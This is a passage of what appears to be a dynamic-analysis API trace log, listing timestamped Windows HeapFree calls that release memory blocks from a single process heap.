	[0145.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0145.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0145.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0145.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0145.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.042] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0146.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0146.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0146.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0146.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0146.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0146.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0146.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0146.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0146.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0146.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0146.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0146.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0146.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0146.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0146.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0146.228] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0146.879] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0146.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.955] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0146.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0146.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0147.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0147.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0147.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.395] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0147.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0147.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0147.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0147.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0147.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0147.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0148.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0148.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0148.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0148.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0148.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0148.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0148.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0148.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0148.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0148.848] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0148.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0148.849] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0148.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0148.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0148.850] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0148.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0148.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0148.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0148.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0148.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0148.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0148.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0148.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0148.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0148.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0148.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0149.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0149.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0149.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0149.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0149.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0149.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0149.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0149.392] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0149.393] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0149.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0149.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0149.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0149.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0149.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0149.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0149.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0149.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0149.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0149.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0149.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0149.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0149.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0149.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0149.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0149.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0149.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.577] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0150.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0150.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0150.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0150.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0150.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0150.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0150.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0150.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0150.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0150.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0150.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0150.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0150.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0151.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0151.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0151.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0151.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
